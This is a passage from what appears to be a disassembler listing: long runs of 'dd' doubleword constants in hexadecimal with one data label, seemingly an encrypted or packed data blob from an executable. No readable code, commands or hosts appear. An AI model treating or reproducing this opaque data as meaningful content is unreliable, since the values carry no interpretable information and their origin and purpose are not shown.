		dd 0C283E3F7h, 796FEBh,	6C07EC38h, 15CA77Ah, 2B829B1Ch
		dd 2E0CC9BDh, 0BF66A220h, 0E7215A1Dh, 0BB6A4BF1h, 48CC1F02h
		dd 0A0C0A60Ah, 67C933A9h, 0F5F8EABDh, 0D10035E7h, 6F9248Fh
		dd 0F2AD03C7h, 324078B0h, 0AC087FD8h, 37900C6Bh, 5E79805Bh
		dd 8529D155h, 6092B794h, 0CB010DA3h, 151E3E94h,	9C3B3068h
		dd 3701609Dh, 9A614B35h, 0C019C81Ch, 8ACC01DAh,	0C2BC85EEh
		dd 0AA02666Dh, 0F342FD6Ah, 0BB48805Fh, 4AB4E1A5h, 1096F906h
		dd 96042BA1h, 5214E860h, 4B6900FAh, 0F5E36963h,	0EFFE411Fh
		dd 6E86D0C0h, 24F4EE2Eh, 12777E3Eh, 0B8CC57A5h,	6BD229C0h
		dd 60B690AFh, 2FA512F7h, 1280BFCFh, 9CD06Ah, 4FBD1CFEh
		dd 0F11B79Bh, 0EDB5F8E6h, 62146432h, 51765C53h,	56FC1234h
		dd 0AAA140DAh, 0E8091108h, 77505CD4h, 3840764Fh, 7C1AC69Ch
		dd 975FE8BEh, 0B501065h, 0B30804ECh, 0C2335417h, 907F5D65h
		dd 0BB1215FEh, 9E0BD876h, 664EE12h, 29BC32AFh, 775EE2DFh
		dd 53EBE04Dh, 0CE3A0107h, 0DE71673Dh, 5358475h,	0D364AB12h
		dd 3A08C9AEh, 0D3F36AE1h, 985ADBE7h, 16445105h,	0BF3D30DFh
		dd 5C5FAEC2h, 89D752C7h, 0E96D5F1Ch, 0D260B3C1h, 27947BD4h
		dd 12DFABAEh, 990D441h,	0E971418Dh, 0C6F88A87h,	81B7D70Bh
		dd 61F1EA80h, 7AB67856h, 9553B254h, 0EF75EC89h,	17EC49F3h
		dd 88E9C804h, 0DBFFFFF3h, 0EE21C0DEh, 5CA94A45h, 7009AE3Dh
		dd 9855C18Bh, 3A12A47h,	6F5AE042h, 0A0B0E143h, 0C302AF32h
		dd 85315796h, 5A09C895h, 0FF3A9761h, 40BEEDDFh,	2822052Eh
		dd 836C504h, 0D0BABDADh, 7AB3FC54h, 8C2D9077h, 8077530Dh
		dd 0D59F3EF7h, 0FF752529h, 1444507Eh, 0F12D00FEh, 7ED09C22h
		dd 0A200061Ah, 307B3D7Ah, 9BE8459h, 90EFD5DDh, 0BDC697Ch
		dd 0F9CFED4Ah, 22D718C2h, 7D332DB7h, 0CA00D4E5h, 80F4A8D9h
		dd 0D8600039h, 0C7240DF7h
		dd 0F102A1ABh, 46B815EEh, 2AA581FFh, 0E66BDD7Eh, 5359F086h
		dd 0CDC15C4Dh, 0B863ED16h, 5E332734h, 1848CF7Eh, 9909E6A6h
		dd 0B8BDF513h, 67A53F83h, 803E09A9h, 2176E5D3h,	2E2600F4h
		dd 6ED4B76h, 6BEFFC73h,	1AC82CDAh, 0D2A337C0h, 0F8730142h
		dd 859D039Fh, 0A1F10513h, 5A2D5ED2h, 9853635Bh,	2DDB23BBh
		dd 0D57C6E73h, 26C7F960h, 50600001h, 0E3A63B03h, 5B1ECB48h
		dd 0B0CBD1FFh, 2784458h, 54794527h, 2940616Dh, 0E7B51B89h
		dd 96D1167h, 112D8D89h,	232D02C0h, 121628B8h, 4CB290FCh
		dd 1F68BB00h, 0B3BE820Eh, 0AB398D09h, 12BD0A3h,	1994420h
		dd 6E23905Bh, 1AB93C84h, 1F8C19BCh, 0C20FE822h,	0DDE9B4EAh
		dd 207A9CD7h, 5A937E34h, 77D96109h, 6C97099Ch, 0F9B51275h
		dd 0D3F3E22Ch, 0AEA0A4F6h, 0B725341Fh, 1057F460h, 9090250Fh
		dd 5019A87h, 6FF8638Ch,	10E7BD71h, 5110E8D2h, 4BE85A5Fh
		dd 80359B4Bh, 64FD2DEh,	558725CDh, 0F548F3CCh, 2CB11278h
		dd 0FAB246E8h, 15711061h, 23E86BAEh, 28E40716h,	0DAEFE087h
		dd 70122999h, 0B306FF6Ah, 7C6525A5h, 9F2D76B5h,	0A778D953h
		dd 0D8801260h, 688CABB8h, 37D20BDh, 0A598614Bh,	0C381880Dh
		dd 854D4307h, 0B300B035h, 9470E6BEh, 0A96840EEh, 5900B5E3h
		dd 8DB81257h, 9471E460h, 0AF22402Eh, 0D912B773h, 0BBE4EA93h
		dd 0F91FC9DCh, 0C9A19770h, 0E9E73A45h, 0CBC45625h, 30B17207h
		dd 39B0F0FFh, 3ADF6Eh, 441851F1h, 0FE5795B4h, 1F12807Bh
		dd 0A9E05F5Bh, 0F31258Dh, 32A69DC4h, 9E621A01h,	8CA4B327h
		dd 5F858C3Fh, 27F9719Dh, 0DEE0317Dh, 0B8FC66Fh,	0B3D58530h
		dd 9473E961h, 3F5E491Eh, 4C448541h, 815604C7h, 0B81755F7h
		dd 5DB71A96h, 99C5270Ah, 0CBB4900Bh, 3A449710h,	0B02B0945h
		dd 3F52E942h, 91CD4A9Dh, 189238BFh, 0A72DE8CAh,	0FB618565h
		dd 8A2E3205h, 930B3E33h, 0CF942F15h, 4DB15C17h,	2D145DEAh
		dd 0FBF99B2Fh, 7F68D0C5h, 606B2B31h, 9002359h, 0C4974D9Dh
		dd 25C1BE84h, 536F8466h, 2340830h, 106AB95Fh, 0D18919F4h
		dd 0AF4877EDh, 0B5862451h, 722FA8B5h, 633F04C2h, 0ACDF8BBDh
		dd 0DBB805Ch, 270A9C29h, 0D6DD22Bh, 8975F2C0h, 556B0462h
		dd 0EB0D6A5Ch, 1BC8CD9Fh, 78802DC0h, 0AF3C5030h, 0DC29BE8Ch
		dd 60552612h, 120966F0h, 0E70F45B5h, 8F2879AAh,	719D060Bh
		dd 7A308292h, 9E5C20B5h, 3DE22555h, 0AB3060A4h,	0C76FBADDh
		dd 765E09DCh, 0D4589476h, 8E169409h, 837D0209h,	0C115C0E3h
		dd 0E383D434h, 9FBD022Dh, 57B43E04h, 6CA2A1B8h,	8D018D18h
		dd 7D6019E4h, 3D045ED1h, 0D88B58F7h, 0F0E7A7ABh, 28D9E48h
		dd 25083EF6h, 0D1E6A8E8h, 4FDCB600h, 0C2B7A1E0h, 34E15EFFh
		dd 0A38BACD9h, 527D00C7h, 6B1B55BFh, 14975B16h,	29CE4468h
		dd 17199D1Fh, 85C8C27Eh, 0B7CB8E7Eh, 87B380C0h,	8D576026h
		dd 75524A25h, 0B22EB971h, 268C0ED4h, 1DA4CC88h,	0BFF1EA9Eh
		dd 2C2E6E6Fh, 1701A294h, 0BFA89A13h, 97D81660h,	493A9924h
		dd 0B292FF8Bh, 0ED43E1DDh, 3177D82Ah, 2D9D8D12h, 90C21DBDh
		dd 0B67ED7B7h, 0A9E9BB07h, 0FA72805Eh, 38561C1Fh, 90A76158h
		dd 7A7022D3h, 95A55E03h, 5682EE90h, 2A6DDAA1h, 4AED6D85h
		dd 126FEA61h, 219BD106h, 0BD10F077h, 680216B1h,	0CC184EF8h
		dd 584B77FCh, 812900ABh, 84607553h, 0E8041757h,	14F799AAh
		dd 700A8B8h, 0BF3406B5h, 98251DEFh, 96BC4E74h, 670BD490h
		dd 573301ABh, 0AEB25D0Eh, 9FC98B9Ch, 4F41D5Eh, 269E5314h
		dd 0FF1082FAh, 5660E2D7h, 0D1D6EB14h, 0CB06F540h, 6BCD00A2h
		dd 0C29A6D4Eh, 972463B9h, 0F7257F15h, 98A8719h,	18B1C089h
		dd 95879657h, 0E24269EDh, 0FFE6F594h, 93FE3DBDh, 0B252AA7Fh
		dd 0F77AE8B1h, 5CB3B285h, 0A4F966F8h, 689FE12h,	0DC804ADBh
		dd 9D57DA0Bh, 5C35DB25h, 0BD3DE257h, 5292D35Dh,	3EC0E45Ch
		dd 0E8936DF1h, 28C92E03h, 1C50AFB0h, 7406292Fh,	1BD847Bh
		dd 30BF1632h, 0A7399167h, 5E41D500h, 35EED12Dh,	4C2416B4h
		dd 8257E88Dh, 33587BC7h, 68F86607h, 21163AC2h, 9A2E25D0h
		dd 393DB3C0h, 43B2257Bh, 6DFD855Bh, 0A801B3F8h,	0B84584DEh
		dd 9D6E4A16h, 0A957D241h, 0FCE0C105h, 15E2DC26h, 4A7DCB30h
		dd 93209B61h, 542CCCAEh, 0A2261528h, 8CB6E09h, 5FE5F544h
		dd 3AEB8182h, 538C5620h, 0E7124095h, 20E95E4Dh,	7FDF0AA8h
		dd 488EC84Bh, 2144BDBCh, 59952C31h, 328578F1h, 0A5F90440h
		dd 1D249A89h, 4F36BB7Ch, 0AA3D4E0Ch, 192CC06Fh,	0F870C060h
		dd 0FD0B2DF2h, 8BBD898Fh, 5696557Ch, 438EED9Dh,	0E8949C2Fh
		dd 1FE70249h, 0D727AC6Fh, 8604B132h, 29CBBE1Ah,	795C7D25h
		dd 0D4657C72h, 20BECD4Eh, 3423CF71h, 79776B02h,	0FE505BB6h
		dd 0E8C5462Ch, 2A90B904h, 0F4AEF402h, 3E4AD7CEh, 810184EDh
		dd 0EA92C8DBh, 0FBC05415h, 0F0A078A7h, 64972A15h, 0C42000F1h
		dd 830E42Eh, 33145317h,	25CD65A2h, 5FD00415h, 0BF1A61AEh
		dd 3AAB59DFh, 55DA0972h, 74F4BAh, 1B7F00D4h, 33F52B91h
		dd 1A5BBD9Dh, 3829F59Ch, 9DCB0D85h, 0C18B1B8Ah,	0F527E025h
		dd 92657620h, 9BB5957Ch, 31801C91h, 9A29E047h, 0C9508609h
		dd 959F70AFh, 58496C5Eh, 0DC67B67Ah, 0DF5F5700h, 4A0D1525h
		dd 0AFF95A61h, 0A59DE531h, 0B62A8D75h, 301BB297h, 10056856h
		dd 0BDBBD1F0h, 0D92E82BEh, 0B67A05Ch, 0FF3109CFh, 0A460D0EFh
		dd 262DB757h, 0DC37F530h, 11021646h, 0DF8B47ACh, 58EE0FDh
		dd 62558225h, 84357FCCh, 0DC801C91h, 89833F7Fh,	6269B00Bh
		dd 0A79A778Bh, 0BB8D6077h, 1CA67626h, 25118D89h, 135CFF59h
		dd 0EBFB8BB0h, 5AA56BD8h, 886CF32Fh, 8828BB3Dh,	30F2B550h
		dd 27165123h, 8F50AD7Bh, 20DE6BCh, 8D294298h, 0B041951h
		dd 0ACFD24FBh, 8A00AA6Eh, 1D4676F3h, 1997C223h,	0B17A2B68h
		dd 0B33418D7h, 93887EE3h, 45680051h, 31A41A84h,	72B5B185h
		dd 565E97C4h, 842135C9h, 0EB8E15ECh, 23C903A3h,	0EA0D3F04h
		dd 0B12EF1DDh, 0DCA2E276h, 27DCC661h, 0FC1B00F4h, 338CB136h
		dd 990453A5h, 0E703BF66h, 6BF410B8h, 70B901F5h,	0AAAE259Eh
		dd 55801178h, 59A3D4CDh, 60BB450Eh, 5B61A057h, 71F42BE9h
		dd 0DCF9BCFFh, 1ECCB512h, 13896D04h, 918631FFh,	0E9B2B1Ch
		dd 2BC018C8h, 50EB8B9Ch, 77B097A2h, 0D19D1048h,	9506420h
		dd 0D0225D40h, 1D024784h, 0B3C9373Ah, 0CD6A5550h, 1DCBD7Eh
		dd 0D6A89B52h, 507BE7F0h, 0F1592736h, 83A3B602h, 54DAD80Dh
		dd 3410802h, 86D68005h,	89ABB217h, 1A046DBBh, 5C0CF8FBh
		dd 0F4430B45h, 202472A5h, 0DD8CCD9Ah, 8EA33795h, 0E0244B64h
		dd 0FC8CEECDh, 1D400049h, 57545B4Dh, 0B10278E7h, 2670913Eh
		dd 0A4105C94h, 5B29100Fh, 0CBDA20EFh, 0B5C23327h, 5CE084BBh
		dd 7D562F7Dh, 10D65CF4h, 0A048B200h, 62F0ABB8h,	658E5E9Dh
		dd 4BD1E28Ch, 20CD24AEh, 7294FFC2h, 63A8203h, 1717EDC2h
		dd 0B91079Ch, 1782D18Ah, 0A05614C9h, 7B7B7071h,	0F14A13A2h
		dd 798082B8h, 0ECB22988h, 74572CFFh, 26AE101h, 0AD1BD03h
		dd 82EFA854h, 5704D827h, 5FC9D4FCh, 810EE464h, 29488BEBh
		dd 0E6E44Bh, 29C55D59h,	0F791CFF5h, 0E4979C00h,	0DE31CB4Bh
		dd 397B3D3h, 86BAF381h,	6DE93FA8h, 8AF6795h, 452C8CD7h
		dd 0D31BC904h, 48F020F6h, 162870Fh, 4156F915h, 752B5F0Eh
		dd 0A053B6B1h, 33B728Fh
		dd 15AA6C17h, 29DF905Ch, 2D5C058Eh, 0AEDCDA56h,	0E0030044h
		dd 0D75094D5h, 0B427FC61h, 6467742Dh, 0E084AB51h, 23666EAAh
		dd 57E9001Bh, 95BD5222h, 80E72604h, 248C67F7h, 9D1804F0h
		dd 0BE4C34E6h, 0CEA38612h, 8092DA96h, 76401CB3h, 0AC825E45h
		dd 0FF6A123Ch, 7790CFFh, 6123B565h, 71D5D829h, 0CD9E0809h
		dd 4111FC8Fh, 0C4888268h, 6E062EEEh, 928774C6h,	95090BF8h
		dd 94550629h, 3DFE61F0h, 2AA9BD31h, 0F5B018C2h,	3EB3B9F9h
		dd 0E600848Dh, 71E4F870h, 4925D09Eh, 0FA15DACDh, 25EB189Ch
		dd 6E5AA320h, 255D23F1h, 2015E6BAh, 52B53195h, 2A5920ACh
		dd 4BFE66CFh, 0BD87F0E8h, 46279B74h, 84980041h,	453BF84Fh
		dd 0D74E5935h, 480220EAh, 0FC2D016Ah, 2018D0D4h, 2B26323Dh
		dd 0A90F63C8h, 0BFD180FFh, 4ABED260h, 0F5CBC813h, 500C51B8h
		dd 0CE47554Ch, 0E50413E6h, 0B533AE0Ah, 5058E41Fh, 719DA971h
		dd 0A15B49ACh, 0E9337720h, 0D933173Eh, 0DD2A2A5Dh, 0CD2E8B62h
		dd 0C4FF5C30h, 0E42B4F23h, 9E180845h, 8E25F75Ch, 0B0D26C37h
		dd 0BB6280ACh, 1EF312A7h, 0EAD8AB6Ch, 9951980Ah, 890D8762h
		dd 108A97EAh, 5A73E43Fh, 0C5097003h, 856A195Dh,	59108Ch
		dd 0DD38F480h, 1DE6FBFh, 194000B6h, 0AA83CAh, 88271DE2h
		dd 0A11354B7h, 0D57D492Fh, 0D5EBC3Ah, 22FE2D4h,	0B9CB777Dh
		dd 0C2FE1150h, 0EAB4DB92h, 872EE48Dh, 9D6018E4h, 94027DFAh
		dd 0EDBD2978h, 0CAA7541Ah, 0C1D08EFh, 0F4D22B0Bh, 2A0EDC4Fh
		dd 0A2BBCE26h, 56106479h, 98F6DAECh, 8A7716D4h,	52C4EC9Ah
		dd 79BD2DB6h, 0A4DA4135h, 9890EF55h, 0D204643Ah, 880D0FADh
		dd 0C7EADEAEh, 6E90211Eh, 11370E4h, 61BF2E1Dh, 2B6FC267h
		dd 1423F36Bh, 22A86C17h, 0AB22FA12h, 4348CDCDh,	0A6290034h
		dd 0D0DE1CB1h, 770FD8E0h, 32D5383Ch, 0BBB5FDB2h, 27C3E99Ch
		dd 12DB09ABh, 0CB8670h,	2C9C3E22h, 93DA7FD1h, 42E09495h
		dd 5195081Fh, 0ACFCE42Ah, 46D0D3BEh, 5EE1FFFAh,	2A4AE10Bh
		dd 0E3049338h, 0A38CA804h, 0B31B1212h, 8D88B24Eh, 0F63AE6CDh
		dd 0B00CF08Ch, 74A60072h, 783EE6A7h, 7EB560F5h,	75C36020h
		dd 245F85DDh, 60630FAAh, 8A30E360h, 0CAEC642Ch,	5A146702h
		dd 565B613Fh, 11DF257Eh, 0D5EEB320h, 0F74BD859h, 9D63DEEDh
		dd 0F2BADC45h, 2C2AAC20h, 156D40B0h, 6024ABCDh,	1990855h
		dd 71858C3Eh, 9D610C34h, 19595F73h, 0FB4ADE18h,	5017D3B9h
		dd 6A60EF60h, 5C2C7E5h,	6FB8D4E4h, 46B0AAB1h, 0F8314A0Fh
		dd 585AC43Fh, 4C008CA2h, 37EDE2DAh, 0A239A052h,	0B2E480C4h
		dd 0F88D40D9h, 25AB9461h, 78C76D6Dh, 982E3080h,	408D4BADh
		dd 0A168D9E0h, 0F42D3409h, 12D79060h, 5DCF0071h, 5929112Bh
		dd 3A5E6A93h, 40C03820h, 23D2072Ah, 406B1089h, 0FB8B515Ah
		dd 1AB5B4Bh, 0EAFA5EBBh, 2FA3380Bh, 9F84EE12h, 0D6ACE8FBh
		dd 0C2FC02DEh, 0F235F4BBh, 2840817Ch, 2DBED9Eh,	7EED3E5h
		dd 2E0914Eh, 0E9800615h, 0C0229762h, 0F37FBA85h, 622BD0ADh
		dd 46F64501h, 8FE7F49Dh, 426DB67Ah, 0F6E3009Ah,	0B73A9D84h
		dd 0B26D2596h, 1127866h, 9DEBD985h, 2A2934F0h, 49B856B5h
		dd 0D4617Eh, 74EEAE61h,	5416AAEFh, 9530B097h, 0A07BD2E9h
		dd 9D113336h, 0B4F2F55h, 465FF9D8h, 2F09F7C8h, 0BD150AA0h
		dd 8A8BEB53h, 503756DAh, 209CC3B7h, 0FA185725h,	616FF58Ah
		dd 0A530920Eh, 158DB7h,	62D885A5h, 42112224h, 0BE66F004h
		dd 0A7ABBF96h, 0FF546F15h, 59C2D849h, 3E2DCD31h, 0E3FB8624h
		dd 73582D4Ah, 229070A7h, 81601CBEh, 27A46EDFh, 53E21C59h
		dd 2964A454h, 50FCE4BBh, 0A454BB04h, 0F1924980h, 0C36C758Ah
		dd 0A458F98h, 58B7EB20h, 0C10793CEh, 1961B965h,	0DCDC7Eh
		dd 0F87C1E87h, 8B5C865Eh, 6DCBD84Ah, 5FF1E050h,	27FACE01h
		dd 805A3D71h, 22BB1079h, 0E609B5CEh, 8469AD5Ch,	49400C44h
		dd 0F2DBC43Bh, 0FD985E1Fh, 0A3C06D00h, 0F5A9D680h, 4B4AE3D0h
		dd 4A71A961h, 1EDB6EABh, 0C54B8872h, 0CB79A6h, 9B51F274h
		dd 5CEA41A1h, 7C2E6DB5h, 53051746h, 0B2A10BF9h,	22EA4FB5h
		dd 0F0F6FDCBh, 0AB5F3310h, 0EDAF9A20h, 5EB600E2h, 0B9E0B7B4h
		dd 1000DC31h, 26883064h, 9851BFBCh, 862B4E8Ah, 9C953AF3h
		dd 23454518h, 0D1E400E3h, 53A88EC7h, 149212D2h,	29412C55h
		dd 0FF0539D3h, 0CEE709F9h, 1F8EB04Eh, 0FEDDC64Ah, 29B0F626h
		dd 601D49BAh, 2749A708h, 4052DE6Fh, 8CB28925h, 822CEA3Fh
		dd 4588E52Eh, 0ADCE5664h, 0D1001FD1h, 978FDAD3h, 623C0161h
		dd 284ABAE0h, 0F3AC82BDh, 555F8CDCh, 0FC0334B1h, 37970EFDh
		dd 811A911Eh, 0A58A98C5h, 98E5C8F0h, 0FB325F98h, 81A09A27h
		dd 4E6F0CF7h, 7421BA25h, 0E53B965Fh, 53AD2084h,	0D90FD7A6h
		dd 1357C31h, 9D799C01h,	0BE325FC5h, 606EAA4Fh, 82995E19h
		dd 69282AADh, 2FDB3881h, 0AB72C717h, 6320BE65h,	99C7087h
		dd 1B97B99Eh, 0A1A8654h, 9A8577CBh, 4574AB18h, 7A13C9B8h
		dd 2555B849h, 0DA14D721h, 5D35B5h, 4B0B7BAEh, 35A9320h
		dd 61168AB7h, 589CAB2Eh, 0FE1D599Dh, 8CE32A4Ah,	53C6DBA0h
		dd 650091FEh, 76DE8A23h, 8B4B18BBh, 0C284B1A9h,	0C0319B04h
		dd 0A84972E5h, 70DF1784h, 0B12EF0Bh, 9A4A45B6h,	0C1E88784h
		dd 0F41A34E0h, 7CF9018Ah, 3168E4BFh, 3E302E28h,	0F749BD01h
		dd 5A4FCB6Ah, 1F808BDAh, 6099D50Fh, 9DE1A1A0h, 24BB825Ah
		dd 416EAE8Eh, 1A41F909h, 667C80FFh, 0B59688BBh,	1F32CF10h
		dd 75136812h, 47BB7960h, 3E892D11h, 1B59555Bh, 2D000218h
		dd 82E6038Dh, 0EE89D626h, 91305B65h, 31441FAh, 0E89E7C96h
		dd 6E3FED50h, 22B60273h, 40F10F7Bh, 9105F931h, 81C54FE6h
		dd 8972CC0Eh, 3050DDCh,	0AA0258Dh, 45199761h, 40282EFCh
		dd 0BF538850h, 930DF10Bh, 102AD517h, 5D094926h,	940F9D6h
		dd 3A3CE9B0h, 0D584C5AAh, 0A35FCF24h, 0F6348F1Eh, 0B3E1D9E6h
		dd 7D51609Ch, 3BBD6AFDh, 0FFE85CB9h, 0AAA0CCA0h, 0B3B96E95h
		dd 0F1CF58C4h, 0AEA7AC00h, 31EF4114h, 1DAEC4BAh, 15237A0Ch
		dd 57EDCD1Ch, 7A810D99h, 6AACE364h, 8B2C25A2h, 565E972Fh
		dd 0F7BE87E4h, 9F320199h, 0C6BA66B9h, 118D3F84h, 603DAB1Ah
		dd 1005F72Fh, 0F8090B75h, 5156CEE9h, 41B58906h,	9979883h
		dd 0C18BF9CDh, 0BFDCC75Ch, 60CB6BD6h, 9738D874h, 95313318h
		dd 2A917D5Dh, 0FAB59250h, 0ADD4C4F3h, 2B6EF52Ch, 612F7FFCh
		dd 80B837DDh, 0D451F573h, 9ABA7F17h, 897B3428h,	57FFA94Fh
		dd 6AF289D9h, 0B8981EFCh, 0DD2C9C27h, 0D5A7D707h, 4F538CB2h
		dd 79B950h, 0A4920250h,	7195890Dh, 3DF51D4Fh, 25E52C4h
		dd 801611BEh, 0E48A6138h, 0A4CEC729h, 0E8F48D50h, 9B01FCEEh
		dd 7DA5BDA2h, 5310B25h,	0FE94243Bh, 1D88C98h, 0F364A174h
		dd 35E3CC28h, 804E2C0Ah, 44A154DDh, 8734012Fh, 6E785ED2h
		dd 840A7F28h, 59178490h, 7C6AD94Bh, 8A94DED2h, 508B450Ch
		dd 291F4071h, 0BA3D99Dh, 0BD55E9B7h, 8E8301BFh,	6AFCFF4Ch
		dd 425956DCh, 0FCB38424h, 1CD3881h, 0F891AC2Ah,	1829318h
		dd 86B28B85h, 0E56C9C38h, 116FC725h, 48766B5Bh,	90026AD4h
		dd 15592208h, 4BAA4497h, 4F78FA5Eh, 88904A50h, 0A30EC56Fh
		dd 806620D8h, 0B68AEB73h, 1BB7A36h, 0D6F179C8h,	665D445Fh
		dd 32A53B8h, 2FC6EBDFh,	0F08693A6h, 3BBBD581h, 718E1FA1h
		dd 0E372E95Fh, 9C31845Ah
dword_586A7C	dd 4A7F290Bh, 40ACFC12h, 0C6594270h, 0D5487D00h, 13734BACh
		dd 0B0F902D6h, 12F6C979h, 5B135C5Eh, 52A912AAh,	0B254B6D4h
		dd 76773016h, 0D5CAF250h, 71EE2B41h, 8C003C8Ah,	598B1A35h
		dd 489A16DDh, 0F6EB3DADh, 0EB81414Fh, 0B3E30D5h, 0C4EF4DB5h
		dd 0E2BA651Bh, 9BDE16E7h, 31352004h, 0B6F8290Bh, 244595h
		dd 3BE8BE60h, 8101720Dh, 37231CEFh, 0B67A6169h,	87D8B56Eh
		dd 464D00F6h, 660BC8FAh, 0F4BCFF6Ah, 1B8F3EDCh,	3E174D80h
		dd 0B78BC6BFh, 13CFCB58h, 8CBA2109h, 6B00CAC7h,	45B474BDh
		dd 9FFC781h, 5F7312CFh,	1A085273h, 0BD090201h, 771203B5h
		dd 272D3A06h, 0DE009899h, 2FA1418Eh, 0E68509CBh, 9C0F970h
		dd 49B871E4h, 0C9F07A25h, 0DD7AEC5Ch, 7E86E13h,	9352EBD3h
		dd 8DDC61B1h, 0B6304A1Dh, 0BD310938h, 2FEA75C9h, 7C49A254h
		dd 718940EFh, 0B4EA9C94h, 32271B72h, 93F7565Bh,	0F684EBB7h
		dd 0FE696AC0h, 0DE63620Dh, 2B0001F5h, 0B56AB7C8h, 7B89C741h
		dd 6000D98Ah, 4F16274Bh, 7EF9587Ah, 607E0EE5h, 4E49857Dh
		dd 10944E0h, 5514EDB5h,	8D7A5D64h, 56120E43h, 6E65E55Bh
		dd 7DE70731h, 0AC4D5C6h, 3E40319Ch, 1329FBh, 0C587BD24h
		dd 272BDBCBh, 5F96699Fh, 456E712Eh, 0B04F0F0Fh,	599D0EFDh
		dd 5264CFE6h, 17B2C4BDh, 30A18269h, 2D399455h, 62761B55h
		dd 0C56E2CF4h, 37960C1h, 0A002EB2h, 3D8496ACh, 77D5A695h
		dd 296A047Ah, 0E2120585h, 0C6D13E0h, 0FA4A48E2h, 0FF53804Ch
		dd 0DD5CB51Bh, 758D01E1h, 0B90BAD6Ch, 0EFD41078h, 0D27701F4h
		dd 0F97399AEh, 0BDCC70EBh, 0FC29D125h, 0F38BE19Dh, 99132E61h
		dd 2CE120A6h, 7AEBCC32h, 58D5CC17h, 1BBD6C8h, 300317F8h
		dd 46CD4951h, 8101F4EEh, 0BF4301E3h, 0BC3AFC16h, 8060818Eh
		dd 0FC7B75E5h, 4EB8383Bh, 4800907Bh, 8B30FCFDh,	0D24F2BFBh
		dd 45E2AAE6h, 0F90026D1h, 8B7871A5h, 4BC50907h,	0D871168Ah
		dd 89AF89E4h, 1DB34139h, 40DCDA1Ch, 3A1E00DEh, 0E139B3AAh
		dd 2C96BED8h, 0C2ED8F40h, 896A4B82h, 0B57C9CD7h, 0A2D1BA27h
		dd 0D5A093E4h, 0B6F621BAh, 0D93651D4h, 5DFB7E44h, 188BD201h
		dd 0B86657DFh, 61480D1Ch, 82975767h, 0B14F349h,	0E14D9343h
		dd 97F85ECCh, 5D44C114h, 81DB2480h, 0D7C06E42h,	4C661AA5h
		dd 59DB5B95h, 75B1818h,	85A06BEFh, 0F056F5B3h, 0BCB8F2A0h
		dd 9F302D20h, 75046F8Fh, 0E1FF021Bh, 5BA8B60h, 0E92003A8h
		dd 48722ADFh, 0AB969C61h, 9703642Ch, 0F3128B3Dh, 908D1BF2h
		dd 19282E45h, 0DA27FB4Dh, 0ECDA1EB0h, 3B1A95Ah,	0FE6005C2h
		dd 9BB57CCh, 1F1D5301h,	0B7251878h, 550AE262h, 0B9C062EDh
		dd 7C78A2CCh, 0DEE70922h, 277A4B09h, 0AB9EFB5Eh, 2E741FC3h
		dd 53F9F3F0h, 5C7F5D2Dh, 2705E25Ch, 0DFF98214h,	0B750C821h
		dd 27A96AAEh, 0FE9802E8h, 0F1F5E14Bh, 0C0029B2Bh, 250A7167h
		dd 22764C52h, 6814A807h, 30D3204Ah, 9EF7DECEh, 50092CA6h
		dd 0DC55D621h, 527676BFh, 47B00D7h, 73BD33D6h, 0D93B978Dh
		dd 53DB2209h, 0A7DC71CFh, 0E9259CF0h, 9DA9C87Bh, 0D8264E51h
		dd 5800E111h, 1705258Fh, 4F40B86h, 0DF1E2845h, 0BCD8AA6Ah
		dd 406428Ah, 0F5CFBF66h, 88A3DBAAh, 0A5A0C017h,	8902F62h
		dd 3A85415Fh, 0AA0235BAh, 0BDD2C09Ah, 6398C045h, 124F17E4h
		dd 0E3FC4475h, 8CFD5BE5h, 4EB00628h, 0E580B821h, 0FB6AFFh
		dd 2CFFFCB2h, 5847D6Ah,	89967712h, 85B6BF46h, 374063E0h
		dd 8143CF09h, 58D01A5h,	0F42D3489h, 0EA09CABCh,	56E9615Ah
		dd 68D9E040h, 0AD71F72Ch, 0D3096B92h, 0AE52710Ch, 0B17A8BEh
		dd 0C4F5BD01h, 5F3EA21Ch, 16D078FBh, 7FBE1796h,	6319FFA1h
		dd 892A895Bh, 0CF006A67h, 879602BBh, 3D839326h,	2BCDE98Eh
		dd 85F90BF2h, 3F611761h, 0E2091C6Eh, 0CF75AF8Fh, 60384B81h
		dd 59020111h, 8712B43Bh, 51985610h, 51319631h, 385B32B0h
		dd 0DE5E42E9h, 698B8008h, 98F72FBh, 0D03DA1BFh,	99564EE2h
		dd 0BFFB4B77h, 8D6CA651h, 34CF092Dh, 69409540h,	22A02DD2h
		dd 0B588256h, 0C46FB504h, 0D7316240h, 66019148h, 0FBB54ADFh
		dd 2BFA786Fh, 0B79FE40Bh, 0C1FFFEF4h, 2A339985h, 481B3DCh
		dd 82B9ABCFh, 0C9B4AC67h, 0AF6473F5h, 0FE444FCDh, 2EF50EC1h
		dd 46F59602h, 4927948Eh, 53A42077h, 2FAB9B73h, 2F79EF35h
		dd 0DF3B55AFh, 0E3E07002h, 0C024A622h, 0B5965F70h, 5DA7245Ch
		dd 160245BDh, 0F5B69891h, 0D30000E4h, 55AD9032h, 216436Eh
		dd 494A65B3h, 3340E5D0h, 5F81170Dh, 4E5D8B30h, 0A0F2AC15h
		dd 0B10809BDh, 0D5C705D3h, 0B3B76142h, 0D2A67A7Dh, 0B8B11BB2h
		dd 42A8C791h, 8E2F9C40h, 0D54B89F7h, 46953D66h,	0B195169Eh
		dd 0B8DBEA2Fh, 68301889h, 7D0121E1h, 33B7D2C9h,	9B6EC283h
		dd 0C6E0C37Ch, 0D5C9006h, 8861272Bh, 739EA710h,	2F527400h
		dd 926EA2B2h, 0C8014F98h, 0C700DAD3h, 0BC2554F1h, 0D16931h
		dd 0C3E66212h, 5B8BA73Fh, 7180F54Bh, 25F3C1BBh,	4DC62D78h
		dd 4889FC4Bh, 0F078F66Bh, 1EFF9Eh, 55F17664h, 45B7425Ah
		dd 0EF814CC7h, 0DD50A4B3h, 0A7662AAh, 23F47920h, 0E7E08Bh
		dd 9E7E6C4Bh, 17618D89h, 9D7D4E9Fh, 500E2F56h, 0DBB72452h
		dd 60D7F1BBh, 0E65E14CCh, 0A60048E2h, 0C858949Dh, 77EA22F9h
		dd 3C01D5ECh, 23891496h, 93EFE0Eh, 0FDF150D7h, 850BBB01h
		dd 1AA77ED4h, 59C24776h, 8565E061h, 0A6094A8Dh,	301DF2EDh
		dd 7F00EDFAh, 279D4BC6h, 969AE408h, 685C257Bh, 0FF0DF853h
		dd 3F2A00F7h, 0F87AEFC4h, 9B4BB1BCh, 86034399h,	46B8F496h
		dd 22B32A2h, 12FF52Dh, 75F98B50h, 0C0845BA8h, 20ED1585h
		dd 0E505BDA5h, 608E292Bh, 0EA96054Ch, 640E6D25h, 41D3601Ah
